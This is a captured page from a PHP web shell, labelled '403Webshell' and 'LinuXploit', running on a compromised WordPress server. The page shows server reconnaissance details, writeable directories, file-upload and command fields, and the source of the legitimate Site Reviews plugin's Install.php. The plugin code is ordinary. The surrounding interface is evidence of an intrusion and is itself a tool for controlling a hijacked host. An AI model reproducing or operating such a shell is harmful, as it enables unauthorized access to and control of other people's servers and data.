403Webshell
Server IP : 172.67.71.254  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/rimskannur/public_html/wp-content/plugins/site-reviews/plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/rimskannur/public_html/wp-content/plugins/site-reviews/plugin//Install.php
<?php

namespace GeminiLabs\SiteReviews;

use GeminiLabs\SiteReviews\Database\Query;
use GeminiLabs\SiteReviews\Database\Tables;

class Install
{
    public function deactivate(bool $isNetworkDeactivation): void
    {
        if (!$isNetworkDeactivation) {
            glsr(Tables::class)->dropForeignConstraints();
            delete_option(glsr()->prefix.'activated');
            glsr()->action('deactivated');
            return;
        }
        foreach ($this->sites() as $siteId) {
            switch_to_blog($siteId);
            glsr(Tables::class)->dropForeignConstraints();
            delete_option(glsr()->prefix.'activated');
            glsr()->action('deactivated');
            restore_current_blog();
        }
    }

    public function dropTables(bool $dropAll = true): void
    {
        $tables = $this->tables();
        if (is_multisite() && $dropAll) {
            foreach ($this->sites() as $siteId) {
                switch_to_blog($siteId);
                $tables = array_unique(array_merge($tables, $this->tables()));
                delete_option(glsr()->prefix.'db_version');
                restore_current_blog();
            }
        }
        foreach ($tables as $table) {
            glsr(Database::class)->dbQuery(
                glsr(Query::class)->sql("DROP TABLE IF EXISTS {$table}")
            );
        }
        delete_option(glsr()->prefix.'db_version');
    }

    public function run(): void
    {
        require_once ABSPATH.'wp-admin/includes/plugin.php';
        if (is_plugin_active_for_network(glsr()->basename)) {
            foreach ($this->sites() as $siteId) {
                $this->runOnSite((int) $siteId);
            }
            return;
        }
        $this->install();
    }

    public function runOnSite(int $siteId): void
    {
        switch_to_blog($siteId);
        $this->install();
        restore_current_blog();
    }

    public function sites(): array
    {
        return (array) get_sites([
            'count' => false, // this ensures we return an array
            'fields' => 'ids',
            'network_id' => get_current_network_id(),
        ]);
    }

    protected function install(): void
    {
        glsr(Role::class)->resetAll();
        glsr(Tables::class)->createTables();
        glsr(Tables::class)->addForeignConstraints();
        if (glsr(Tables::class)->tablesExist() && empty(get_option(glsr()->prefix.'db_version'))) {
            $version = '1.0'; // @compat
            if (glsr(Tables::class)->columnExists('ratings', 'terms')) {
                $version = '1.1';
            }
            if (glsr(Tables::class)->columnExists('ratings', 'score')) {
                $version = Application::DB_VERSION;
            }
            add_option(glsr()->prefix.'db_version', $version);
        }
    }

    protected function tables(): array
    {
        $tables = [];
        foreach (glsr(Tables::class)->tables() as $table) {
            $tables[] = glsr($table)->tablename;
        }
        return $tables;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit